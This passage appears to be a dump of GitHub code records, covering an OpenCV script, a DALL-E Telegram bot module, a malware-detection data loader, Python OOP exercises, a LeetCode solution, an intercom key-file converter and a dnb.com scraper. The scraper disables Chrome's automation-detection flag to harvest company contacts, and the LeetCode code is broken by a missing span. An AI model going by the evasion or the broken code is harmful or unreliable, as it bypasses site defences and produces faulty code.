"six.moves._thread.start_new", "line_number": 66, "usage_type": "call"}, {"api_name": "six.moves._thread", "line_number": 66, "usage_type": "name"}]} {"seq_id": "30347750612", "text": "import cv2\nimport argparse\n\nparse = argparse.ArgumentParser()\n\nparse.add_argument(\"img_input\", help=\"read one image\")\nparse.add_argument(\"img_output\", help=\"save the processed image\")\n\nargs = vars(parse.parse_args())\n\nimg = cv2.imread(args[\"img_input\"])\n\nimg_gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\ncv2.imwrite(args[\"img_output\"], img_gray)\n\ncv2.imshow(\"original image\", img)\ncv2.imshow(\"gray image\", img_gray)\n\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n", "repo_name": "Incipe-win/C-CPP", "sub_path": "linux_c/opencv_code/py/opencv4/06_opencv.py", "file_name": "06_opencv.py", "file_ext": "py", "file_size_in_byte": 457, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "7", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 4, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 11, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 13, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 13, "usage_type": "attribute"}, {"api_name": "cv2.imwrite", "line_number": 15, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 17, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 18, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 20, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 21, "usage_type": "call"}]} {"seq_id": "12696169673", "text": "import logging\n\nimport openai\n\nimport UsersHandler\nfrom RequestResponseContainer import RequestResponseContainer\n\n\nclass DALLEModule:\n def __init__(self, config: dict, messages: dict, users_handler: UsersHandler.UsersHandler) -> None:\n self.config = config\n self.messages = messages\n self.users_handler = users_handler\n\n self._enabled = False\n self._restart_attempts = 0\n self._proxy = None\n\n def initialize(self) -> None:\n \"\"\"\n Initializes DALL-E official API\n :return:\n \"\"\"\n try:\n # Set enabled status\n self._enabled = self.config[\"modules\"][\"dalle\"]\n if not self._enabled:\n logging.warning(\"DALL-E module disabled in config file!\")\n return\n\n # Set Key\n openai.api_key = self.config[\"dalle\"][\"open_ai_api_key\"]\n\n # Proxy for DALL-E\n proxy = self.config[\"dalle\"][\"proxy\"]\n if proxy and len(proxy) > 1 and proxy.strip().lower() != \"auto\":\n self._proxy = proxy\n openai.proxy = proxy\n else:\n self._proxy = None\n\n # Done?\n logging.info(\"DALL-E module initialized\")\n\n # Error\n except Exception as e:\n logging.error(\"Error initializing DALL-E module!\", exc_info=e)\n self._enabled = False\n\n def set_proxy(self, proxy: str) -> None:\n \"\"\"\n Sets new proxy from ProxyAutomation\n self.config[\"dalle\"][\"proxy\"] must be \"auto\"\n :param proxy: https proxy but in format http://IP:PORT\n :return:\n \"\"\"\n if self.config[\"dalle\"][\"proxy\"].strip().lower() != \"auto\":\n return\n\n logging.info(\"Setting proxy {0} for DALL-E module\".format(proxy))\n self._proxy = proxy\n openai.proxy = proxy\n\n def process_request(self, request_response: RequestResponseContainer) -> None:\n \"\"\"\n Processes request to DALL-E\n :param request_response: RequestResponseContainer object\n :return:\n \"\"\"\n # Check if we are initialized\n if not self._enabled:\n logging.error(\"DALL-E module not initialized!\")\n request_response.response = self.messages[\"response_error\"].replace(\"\\\\n\", \"\\n\") \\\n .format(\"DALL-E module not initialized!\")\n request_response.error = True\n return\n\n try:\n # Increment requests_total for statistics\n request_response.user[\"requests_total\"] += 1\n self.users_handler.save_user(request_response.user)\n\n # Set Key\n openai.api_key = self.config[\"dalle\"][\"open_ai_api_key\"]\n\n # Generate image\n logging.info(\"Requesting image from DALL-E\")\n image_response = openai.Image.create(prompt=request_response.request,\n n=1,\n size=self.config[\"dalle\"][\"image_size\"])\n response_url = image_response[\"data\"][0][\"url\"]\n\n # Check response\n if not response_url or len(response_url) < 1:\n raise Exception(\"Wrong DALL-E response!\")\n\n # OK?\n logging.info(\"Response successfully processed for user {0} ({1})\"\n .format(request_response.user[\"user_name\"], request_response.user[\"user_id\"]))\n request_response.response = response_url\n\n # Exit requested\n except KeyboardInterrupt:\n logging.warning(\"KeyboardInterrupt @ process_request\")\n return\n\n # DALL-E or other error\n except Exception as e:\n logging.error(\"Error processing request!\", exc_info=e)\n\n # Try to restart\n self.restart()\n self._restart_attempts += 1\n\n # Try again 1 time\n if self._restart_attempts < 2:\n self.process_request(request_response)\n\n # Stop restarting and respond with error\n else:\n request_response.response = self.messages[\"response_error\"].replace(\"\\\\n\", \"\\n\").format(str(e))\n request_response.error = True\n self._restart_attempts = 0\n\n def restart(self):\n \"\"\"\n Restarts module and saves proxy\n :return:\n \"\"\"\n if not self.config[\"modules\"][\"dalle\"]:\n return\n logging.info(\"Restarting DALL-E module\")\n\n # Restart\n self.initialize()\n\n # Set proxy\n try:\n if self._proxy is not None:\n openai.proxy = self._proxy\n except Exception as e:\n logging.error(\"Error setting back proxy to DALL-E module!\", exc_info=e)\n", "repo_name": "yuejunzhang/GPT-Telegramus", "sub_path": "DALLEModule.py", "file_name": "DALLEModule.py", "file_ext": "py", "file_size_in_byte": 4761, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "7", "api": [{"api_name": "UsersHandler.UsersHandler", "line_number": 10, "usage_type": "attribute"}, {"api_name": "logging.warning", "line_number": 28, "usage_type": "call"}, {"api_name": "openai.api_key", "line_number": 32, "usage_type": "attribute"}, {"api_name": "openai.proxy", "line_number": 38, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 43, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 47, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 60, "usage_type": "call"}, {"api_name": "openai.proxy", "line_number": 62, "usage_type": "attribute"}, {"api_name": "RequestResponseContainer.RequestResponseContainer", "line_number": 64, "usage_type": "name"}, {"api_name": "logging.error", "line_number": 72, "usage_type": "call"}, {"api_name": "openai.api_key", "line_number": 84, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 87, "usage_type": "call"}, {"api_name": "openai.Image.create", "line_number": 88, "usage_type": "call"}, {"api_name": "openai.Image", "line_number": 88, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 98, "usage_type": "call"}, {"api_name": "logging.warning", "line_number": 104, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 109, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 132, "usage_type": "call"}, {"api_name": "openai.proxy", "line_number": 140, "usage_type": "attribute"}, {"api_name": "logging.error", "line_number": 142, "usage_type": "call"}]} {"seq_id": "18158306075", "text": "import os\n\nimport keras\nimport numpy as np\nfrom keras.utils import to_categorical\n\n\ndef read_labels_file(file_path: str) -> np.array:\n \"\"\"Reads the labels from the csv file and returns it as an array\n\n :param file_path: path to the csv file containing the labels to the files in the dataset\n :return: labels as a numpy array\n \"\"\"\n with open(file_path, 'r') as f:\n f.readline()\n vals = f.readlines()\n\n data = np.empty(shape=(len(vals), 1), dtype=np.float32)\n\n for val in vals:\n val_split = val.split(\",\")\n data[int(val_split[0])] = int(val_split[1])\n\n return data\n\ndef getmean(max_seq_len):\n mean = np.genfromtxt('mean.csv', delimiter=',')\n if len(mean) < max_seq_len:\n mean = np.array([mean,]*max_seq_len)\n return mean\n\ndef getmax(max_seq_len):\n max_arr = np.genfromtxt('max.csv', delimiter=',')\n if len(max_arr) < max_seq_len:\n max_arr = np.array([max_arr,]*max_seq_len)\n max_arr = max_arr.reshape(max_seq_len,102,1)\n return max_arr\n\ndef getstddev(max_seq_len):\n stddev = np.genfromtxt('mean.csv', delimiter=',')\n # f = open('stddev.csv', 'r')\n # for line in f:\n # stddev.append(line)\n # f.close()\n if len(stddev) < max_seq_len:\n stddev = np.array([stddev, ] * max_seq_len)\n return stddev\n\nclass DataGenerator(keras.utils.Sequence):\n \"\"\"Iterator can be used to iterate the dataset given for CS5242\n\n Attributes\n ----------\n max_seq_len : int\n max length of each sample in the dataset\n batch_size : int\n number of samples in each batch of training\n folder : str\n name of the folder containing the files, all the files are assumed to be in .npy format\n shuffle : bool\n this is to enable shuffle of the indices for each epoch\n file_ids : [int]\n array containing the names of all the files in the dataset excluding the .npy extension\n indexes : [int]\n copy of the file_ids array, but used for shuffling the indexes if shuffle enabled and used for slicing the batch\n labels : np.array(np.float32)\n contains the label for each file with indices corresponding to the file id from the file_ids or indexes list\n\n Usage\n -----\n train = DatasetGenerator('train/train', 'train_kaggle.csv')\n\n \"\"\"\n\n def __init__(self, data_folder='', labels_file='', batch_size=32, max_seq_len=1000, shuffle=True):\n \"\"\"Constructor to initialize the iterator\n\n :param data_folder: folder containing the data files; in our case the path to the folder containing the .npy files\n :param labels_file: path to the csv containing the labels to the training samples\n :param batch_size: number of samples in each batch\n :param max_seq_len: max len of each sample\n :param shuffle: whether to shuffle or not on each epoch\n \"\"\"\n self.max_seq_len = max_seq_len\n self.batch_size = batch_size\n self.folder = data_folder\n self.shuffle = shuffle\n self.file_ids = np.array([int(file_name.split(\".\")[0]) for file_name in os.listdir(self.folder)])\n self.indexes = np.copy(self.file_ids)\n self.labels = read_labels_file(labels_file)\n self.on_epoch_end()\n\n\n\n def __len__(self) -> int:\n \"\"\"Denotes the number of batches per epoch\n\n :return: batches per epoch\n \"\"\"\n return int(np.floor(len(self.file_ids) / self.batch_size))\n\n def __getitem__(self, index: int) -> (np.array, np.array):\n \"\"\"Returns each batch of samples\n\n :param index: based on the __len__ function this function is called with the index of the batch of samples to be sent\n :return: tuple of the X and the Y for the batch in the dataset\n \"\"\"\n\n indexes = self.indexes[index * self.batch_size:(index + 1) * self.batch_size]\n\n Xin = np.empty(shape=(self.batch_size, 102, self.max_seq_len))\n X = np.empty(shape=(self.batch_size, self.max_seq_len, 102))\n y = np.zeros(shape=(self.batch_size, 1))\n # y_cat = np.zeros(shape=(self.batch_size, 2))\n mean = getmean(self.max_seq_len)\n stddev = getstddev(self.max_seq_len)\n max_arr = getmax(self.max_seq_len).reshape(self.max_seq_len, 102)\n\n for idx, id in enumerate(indexes):\n # get X data for each file\n data_x = np.load(os.path.join(self.folder, str(id)+\".npy\"))\n if len(data_x) < self.max_seq_len:\n X[idx] = (np.append(data_x, np.zeros(shape=(self.max_seq_len - len(data_x), 102)), axis=0)).reshape(self.max_seq_len, 102)\n else:\n X[idx] = data_x.reshape(self.max_seq_len, 102)\n # X[idx] = np.nan_to_num((X[idx]-mean)/stddev)\n # X[idx] = X[idx]/max_arr\n # X[idx] = X[idx].reshape(1000, 102)\n # Xin[idx] = np.transpose(X[idx], (1,0,2))\n # X[idx]= np.transpose(X[idx], (1,0))\n\n # add y for each file\n y[idx] = (self.labels[id])\n # y_cat += to_categorical(y)\n # X = np.squeeze(X)\n # X[idx] = X[idx].reshape(1000, 102, 1)\n # X = np.transpose(X, axes=(0,2,1,3))\n\n # print(y_cat)\n return X, y\n\n def on_epoch_end(self):\n \"\"\"Called at the end of each epoch to shuffle the elements in the next batch\"\"\"\n if self.shuffle:\n np.random.shuffle(self.indexes)\n\n\n\nif __name__ == '__main__':\n train = DataGenerator('train/train', 'train_kaggle.csv')\n # print(train[0][1].shape)\n#\n# def compute_mean_and_stddev():\n# sum_x = np.zeros(102)\n# sum_x2 = np.zeros(102)\n# mean = np.zeros(102)\n# stddev = np.zeros(102)\n# length = 0\n# for id in range(len(os.listdir('train/train'))):\n# data_x = np.load(os.path.join('train/train', str(id) + \".npy\"))\n# length = length + len(data_x)\n# for tuple in range(len(data_x)):\n# sum_x = np.add(sum_x, data_x[tuple])\n# sum_x2 = np.add(sum_x2, np.square(tuple))\n# data_x =[]\n#\n# mean = np.divide(sum_x, length)\n# stddev = np.sqrt(np.divide(sum_x2, length) - np.square(mean))\n# return mean, stddev\n # print(mean)\n # print(stddev)\n # for j in range (102):\n # sum_x = sum_x +\n\n", "repo_name": "Febin-Issac/API-log-malware-detection", "sub_path": "dataset_iterator.py", "file_name": "dataset_iterator.py", "file_ext": "py", "file_size_in_byte": 6286, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "numpy.empty", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 18, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 8, "usage_type": "attribute"}, {"api_name": "numpy.genfromtxt", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.genfromtxt", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.genfromtxt", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 46, "usage_type": "call"}, {"api_name": "keras.utils", "line_number": 49, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 88, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.floor", "line_number": 100, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 113, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 121, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 121, "usage_type": "call"}, {"api_name": "os.path", "line_number": 121, "usage_type": "attribute"}, {"api_name": "numpy.append", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 102, "usage_type": "attribute"}, {"api_name": "numpy.random.shuffle", "line_number": 145, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 145, "usage_type": "attribute"}]} {"seq_id": "34986365034", "text": "from sklearn.datasets import fetch_olivetti_faces\nimport datetime\n\n# Load the dataset\nfaces = fetch_olivetti_faces()\n\n# Prove that the dataset was loaded\n# print(faces.data.shape)\n\n# Only instance methods can access instance attributes. \n# Instance methods are associated with a particular object\n\nclass Person:\n # instance attributes\n def __init__(self, name, photo, date_of_birth):\n self.name = name\n self.photo = photo\n self.date_of_birth = date_of_birth\n\n # instance method\n def get_age(self):\n return int((datetime.datetime.now() - self.date_of_birth).days / 365.25)\n\n # overriding __str__ built in class method\n def __str__(self):\n return self.name + ', age ' + str(self.get_age())\n\n\naPerson = Person(\"Robert\", faces.images[0], datetime.datetime(1998, 10, 21))\nprint(aPerson.name)\n\nprint(str(aPerson.get_age()))\n\nprint(str(aPerson))\nprint(aPerson.__str__())\nprint(aPerson)\n\n\n# Inheritance \nclass MissingPerson(Person):\n def __init__(self, name, photo, date_of_birth, date_missing):\n # construct the base object\n Person.__init__(self, name, photo, date_of_birth)\n\n # Add missing_date attribute \n self.date_missing = date_missing\n\n #Add get_years_missing() method\n def get_years_missing(self):\n return int((datetime.datetime.now() - self.date_missing).days / 365.25)\n\nmissing_person = MissingPerson('Louis', faces.images[1], datetime.datetime(2000, 5, 7), datetime.datetime(2017, 10, 31))\n# print(str(missing_person.date_missing))\n# print(str(missing_person.get_years_missing()))\nprint(missing_person.name + ' has been missing for ' + str(missing_person.get_years_missing()) + ' years')\n\nclass MissingSKPerson(MissingPerson):\n def __init__(self, name, photo, date_of_birth, date_missing):\n MissingPerson.__init__(self, name, photo, date_of_birth, date_missing)\n\n # override the get_age() method\n def get_age(self):\n return super().get_age() + 1\n\nname = 'Jung'\nfaceP = faces.images[2] \nbirth = datetime.datetime(1994, 7, 1)\nmissing = datetime.datetime(2017, 8, 30)\n\nskPerson = MissingSKPerson(name, faceP, birth, missing)\nprint(skPerson.get_age())\n\ndate_birth = datetime.datetime(1990, 9, 16)\ndate_missing = datetime.datetime(2016, 1, 1)\nface = faces.images[0]\nname = \"Adam\"\n\n# Creating Person, MissingPerson & SKMissingPerson objects\naPerson = Person(name, face, date_birth)\nprint(str(aPerson.get_age()))\n\naMPerson = MissingPerson(name, face, date_birth, date_missing)\nprint(str(aPerson.get_age()))\n\naSKPerson = MissingSKPerson(name, face, date_birth, date_missing)\nprint(str(aPerson.get_age()))\n\n\n# Remove an inherited attribute\nclass AnonymousPerson(Person):\n def __init__(self, photo, date_of_birth):\n Person.__init__(self, '', photo, date_of_birth)\n delattr(self, 'name')\n\n# This cause a runtime error, we can't delete methods\n# that are inherited from a base class\n# However we can override them and change the way they work \nanonymousPerson = AnonymousPerson(faces.images[4], datetime.datetime(1994, 6, 6))\nprint(str(anonymousPerson))\n\n\n\n\n\n\n\n", "repo_name": "crobert7/Py-Basics", "sub_path": "OOP/MissingPersons.py", "file_name": "MissingPersons.py", "file_ext": "py", "file_size_in_byte": 3091, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sklearn.datasets.fetch_olivetti_faces", "line_number": 5, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 22, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 22, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 29, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 50, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 50, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 52, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 67, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 68, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 73, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 74, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 98, "usage_type": "call"}]} {"seq_id": "40978705881", "text": "from typing import List, Tuple, Optional\n\nfrom collections import defaultdict,deque\nfrom functools import cache\nimport heapq\nfrom sortedcontainers import SortedDict,SortedList\n\nclass Solution:\n def findCrossingTime(self, n: int, k: int, time: List[List[int]]) -> int:\n stLeft, stRight=[],[]\n for i,(l1,p1,l2,p2) in enumerate(time):\n heapq.heappush(stLeft,(-(l1+l2),-i))\n cntRight = 0\n lastTime = 0 \n leftWait,rightWait =[],[]\n leftCnt =0\n while cntRight < n :\n \n while leftWait and leftWait[0][0] <= lastTime:\n a,b,c = heapq.heappop(leftWait)\n heapq.heappush(stLeft,(b,c))\n while rightWait and rightWait[0][0] <= lastTime:\n a,b,c = heapq.heappop(rightWait)\n heapq.heappush(stRight,(b,c))\n if len(stLeft) == len(stRight) == 0:\n if leftWait and rightWait and len(rightWait) + cntRight 0:\n lastTime = rightWait[0][0]\n #print(lastTime,stRight,stLeft,leftWait,rightWait,cntRight)\n while leftWait and leftWait[0][0] <= lastTime:\n a,b,c = heapq.heappop(leftWait)\n heapq.heappush(stLeft,(b,c))\n while rightWait and rightWait[0][0] <= lastTime:\n a,b,c = heapq.heappop(rightWait)\n heapq.heappush(stRight,(b,c))\n if stRight:\n b,c = heapq.heappop(stRight)\n cntRight +=1\n lastTime += time[-c][2]\n if leftCnt list:\n \"\"\" Получает список полных путей исходных фафйлов с базой ключей МК2012 из папки <2012> \"\"\"\n mkf_path = this_path+\"/2012/\"\n list_2012_dir = os.listdir(mkf_path)\n mkf_lst = []\n for elem in list_2012_dir:\n if os.path.splitext(elem)[-1] == \".mkf\":\n mkf_lst.append(mkf_path + elem)\n\n return mkf_lst\n\n\ndef create_key_dict(bv_path: str) -> dict:\n \"\"\" Принимает файл базы ключей MK2012. Возвращает словарь с ключами\"\"\"\n key_dict = {}\n key_code = ''\n key_code_last = 'none'\n first_line = 8193\n last_line = first_line + 3\n\n \"\"\"\n получаем список ключей.\n сравниваем последний полученный ключ из файла с предпоследним. \n Если они совпадают значит пошли пустые ячейки в памяти\n \"\"\"\n while key_code != key_code_last:\n key_code_last = key_code\n key_code = ''\n # Перебераем\n while first_line <= last_line:\n ln_read = linecache.getline(bv_path, first_line)\n key_code = key_code + ln_read\n first_line += 1\n\n key_dict.update({key_code: None})\n # обновляем значения линий для следующего ключа\n first_line = first_line + 4\n last_line = last_line + 8\n\n return key_dict\n\n\nif __name__ == \"__main__\":\n mkf_list = get_bv_files()\n key_dict = {}\n for elem in mkf_list:\n new_dict = create_key_dict(elem)\n key_dict.update(new_dict)\n\n # КОСТЫЛЬ удаляем пустой ключ\n key_dict.pop(\"FF\\nFF\\nFF\\nFF\\n\")\n\n if len(key_dict) > 5000:\n print(f\"Ключей больше чем 5000.\\nСоздать файл для ELC5000 невозможно.\\n\"\n f\"Завершение работы программы через 20сек.\")\n sleep(20)\n exit()\n\n print(f\"Всего ключей для записи: {len(key_dict)}\")\n\n # ПИШИМ КЛЮЧИ В ФАЙЛ\n writeFile = open('elc-new.mkf', 'w') # открываем файл на запись\n writeFile.write(first_elc_lines) # пишем в файл 7 служебных строк ELC5000\n\n for elem in key_dict: # пишем в файл список ключей\n writeFile.write('01\\n' + elem + '01\\n')\n\n # пишем в файл пустые строки до служебной записи с кол-вом ключей\n ffLn = 30018 - 7 - len(key_dict) * 6\n writeFile.write(ffLn * 'FF\\n')\n\n # ДОБОВЛЯЕМ СЛУЖЕБНУЮ ЗАПИСЬ О КОЛ-ВЕ КЛЮЧЕЙ\n # конвертируем кол-во ключей в шестнадцатеричное число, состоящее из 4-х символов\n key_to_hex = \"{0:x}\".format(len(key_dict) + 1) # переводим в 16-ричное //кол-во ключей + 1шт.(так нужно для ELC5000)\n key_len_hex = len(key_to_hex) # узнаём кол-во символов\n hexList = ['', '000', '00', '0', ''] # список с недостающими символами\n hex4simbol = hexList[key_len_hex] + key_to_hex # делаем число из 4-х символов\n hex_amount = hex4simbol[0:2] + '\\n' + hex4simbol[2:4] + '\\n' # итоговое число для файла\n writeFile.write(hex_amount) # пишем итоговое число в файл\n\n writeFile.write('FF\\n' * 2748) # добиваем файл пустотой\n\n writeFile.close() # закрываем файл\n\n print(\"Создан файл \\n\\n\")\n print(\"Записывать через метакомовскую прогу MKA\\nНастройки:\\n\"\n \"Модель домофона: Неизвестный домофон\\nТип носителя: 24CXX\\nОбъём памяти: С256\\n\\n\"\n \"Окно автоматически закроется через минуту\")\n sleep(60)\n ", "repo_name": "menlor-ru/mk2012_to_elc5000", "sub_path": "convert_2012_to_elc.py", "file_name": "convert_2012_to_elc.py", "file_ext": "py", "file_size_in_byte": 4291, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.path.dirname", "line_number": 5, "usage_type": "call"}, {"api_name": "os.path", "line_number": 5, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "linecache.getline", "line_number": 39, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 64, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 97, "usage_type": "call"}]} {"seq_id": "40177809490", "text": "from requests_html import HTMLSession\r\nfrom funcy import print_durations\r\nfrom selenium import webdriver\r\nimport lxml.html\r\nimport csv\r\nimport os\r\n\r\n\r\noptions = webdriver.ChromeOptions()\r\noptions.add_argument(\r\n 'user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 \\\r\n (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36')\r\noptions.add_argument('accept=accept: ')\r\noptions.add_argument('--disable-blink-features=AutomationControlled')\r\noptions.add_argument('--headless')\r\ndriver = webdriver.Chrome(\r\n executable_path=os.path.join('chromedriver', 'chromedriver.exe'),\r\n options=options\r\n)\r\ndriver.set_window_size(1980, 2000)\r\n\r\n\r\ndef get_name_and_city_from_file(): # Open file with company names\r\n try:\r\n with open('Sample_Web_Scrapping.csv', 'r', newline='') as csv_read:\r\n reader = csv.DictReader(csv_read)\r\n company_name = []\r\n company_city = []\r\n for row in reader:\r\n company_name.append(row['CompanyName'])\r\n company_city.append(row['CompanyCity'])\r\n return company_name, company_city\r\n except Exception as e:\r\n print(e)\r\n print(\"Can't read the file. Try rename it like 'Sample_Web_Scrapping.csv'\")\r\n\r\n\r\ndef create_name_for_search_links(): # Change names to insert into a link\r\n name_list = get_name_and_city_from_file()[0]\r\n name_list_for_search = []\r\n for name in name_list:\r\n if '&' in name:\r\n name = name.replace('&', '%26')\r\n if '\\'' in name:\r\n name = name.replace('\\'', '%27')\r\n if ';' in name:\r\n name = name.replace(';', '')\r\n if ' ' in name:\r\n name = name.replace(' ', '%20')\r\n if ',' in name:\r\n name = name.replace(',', '%2C')\r\n name_list_for_search.append(name)\r\n return name_list_for_search\r\n\r\n\r\ndef create_search_links(): # Create search links :)\r\n print('==========================')\r\n print('Creating links for search')\r\n print('==========================')\r\n name_list_for_search = create_name_for_search_links()\r\n links_list = []\r\n for i in range(len(name_list_for_search)):\r\n link = f'https://www.dnb.com/business-directory/company-search.html?term={name_list_for_search[i]}&page=1'\r\n links_list.append(link)\r\n return links_list\r\n\r\n\r\n# def save_search_links(): # Save search links into a file (not necessary)\r\n# try:\r\n# links_list = create_search_links()\r\n# with open('search_links_list.csv', 'a', encoding='utf-8', newline='') as links_csv:\r\n# writer = csv.writer(links_csv)\r\n# for link in links_list:\r\n# writer.writerow([link])\r\n# except Exception as e:\r\n# print(e)\r\n# print('File writing error')\r\n\r\n\r\n# def save_links_list(company_link): # Save links list into a file (not necessary)\r\n# try:\r\n# with open('links_list.csv', 'a', encoding='utf-8', newline='') as links_csv:\r\n# writer = csv.writer(links_csv)\r\n# writer.writerow([company_link])\r\n# except Exception as e:\r\n# print(e)\r\n# print('File writing error')\r\n\r\n\r\ndef save_result(row):\r\n with open('result.csv', 'a', encoding='utf-8', newline='') as links_csv:\r\n writer = csv.writer(links_csv, delimiter=';')\r\n writer.writerow(row)\r\n\r\n\r\ndef parse_company_page_requests(company_link): # Use requests-html and lxml (higher speed)\r\n session = HTMLSession()\r\n try:\r\n r = session.get(company_link)\r\n r.html.render(sleep=1, keep_page=True)\r\n tree = lxml.html.document_fromstring(r.text)\r\n try:\r\n title = (tree.xpath('//*[@id=\"content\"]/div[2]/div/div[3]/div/div/div[1]/div/div/div/h2/text()')[0]).strip()\r\n except:\r\n title = ' '\r\n try:\r\n website = (tree.xpath('//*[@id=\"hero-company-link\"]/text()')[0]).strip()\r\n except:\r\n website = ' '\r\n try:\r\n street_address_1 = (tree.xpath(\r\n '//*[@id=\"content\"]/div[2]/div/div[3]/div/div/div[2]/div[2]/div[2]/div/div[2]/div[2]/div/div/span/div[1]/div/text()')[\r\n 0]).strip()\r\n except:\r\n street_address_1 = ' '\r\n try:\r\n company_city = (tree.xpath(\r\n '//*[@id=\"content\"]/div[2]/div/div[3]/div/div/div[2]/div[2]/div[2]/div/div[2]/div[2]/div/div/span/div[2]/span[1]/text()')[\r\n 0]).strip()\r\n except:\r\n company_city = ' '\r\n try:\r\n company_region = (tree.xpath(\r\n '//*[@id=\"content\"]/div[2]/div/div[3]/div/div/div[2]/div[2]/div[2]/div/div[2]/div[2]/div/div/span/div[2]/span[2]/text()')[\r\n 0]).strip()\r\n except:\r\n company_region = ' '\r\n try:\r\n company_postal = (tree.xpath(\r\n '//*[@id=\"content\"]/div[2]/div/div[3]/div/div/div[2]/div[2]/div[2]/div/div[2]/div[2]/div/div/span/div[2]/span[3]/text()')[\r\n 0]).strip()\r\n except:\r\n company_postal = ' '\r\n try:\r\n company_country = (tree.xpath(\r\n '//*[@id=\"content\"]/div[2]/div/div[3]/div/div/div[2]/div[2]/div[2]/div/div[2]/div[2]/div/div/span/div[2]/span[4]/text()')[\r\n 0]).strip()\r\n except:\r\n company_country = ' '\r\n try:\r\n address = (street_address_1 + ',' + company_city + ',' + company_region + ',' + company_postal + ',' + company_country).strip()\r\n except:\r\n address = ' '\r\n try:\r\n phone = (tree.xpath(\r\n '//*[@id=\"content\"]/div[2]/div/div[3]/div/div/div[2]/div[2]/div[2]/div/div[3]/div[2]/div/span/text()')[\r\n 0]).strip()\r\n except:\r\n raise Exception\r\n # phone = ' '\r\n try:\r\n description = (tree.xpath(\r\n '//*[@id=\"content\"]/div[2]/div/div[3]/div/div/div[2]/div[2]/div[2]/div/div[4]/div[2]/div/div/span/text()')[\r\n 0]).strip()\r\n except:\r\n description = ' '\r\n try:\r\n key_principal = (tree.xpath(\r\n '//*[@id=\"content\"]/div[2]/div/div[3]/div/div/div[2]/div[2]/div[2]/div/div[5]/div[2]/div/div/span[1]/text()')[\r\n 0]).strip()\r\n except:\r\n key_principal = ' '\r\n try:\r\n industry = (tree.xpath(\r\n '//*[@id=\"content\"]/div[2]/div/div[3]/div/div/div[2]/div[2]/div[2]/div/div[6]/div[2]/div/span[1]/a/text()')[\r\n 0]).strip()\r\n except:\r\n industry = ' '\r\n\r\n save_result([title, website, address, phone, description, key_principal, industry])\r\n except Exception as e:\r\n print('phone number not found', e)\r\n\r\n\r\ndef company_search(): # Company search\r\n company_city = get_name_and_city_from_file()[1]\r\n company_search_links_list = create_search_links()\r\n len_of_list = len(company_search_links_list)\r\n for a in range(len_of_list):\r\n company_city_match = company_city[a].lower()\r\n try:\r\n driver.get(company_search_links_list[a])\r\n driver.implicitly_wait(10)\r\n print('Company №', a + 1, 'of', len_of_list)\r\n results_amount = len(driver.find_elements_by_class_name('search_result'))\r\n if results_amount == 1:\r\n city = driver.find_element_by_xpath('//*[@id=\"company_results\"]/ul/li/div[4]/div/span[1]').text\r\n city = city.lower()\r\n if city == company_city_match:\r\n company_link = driver.find_element_by_xpath(\r\n 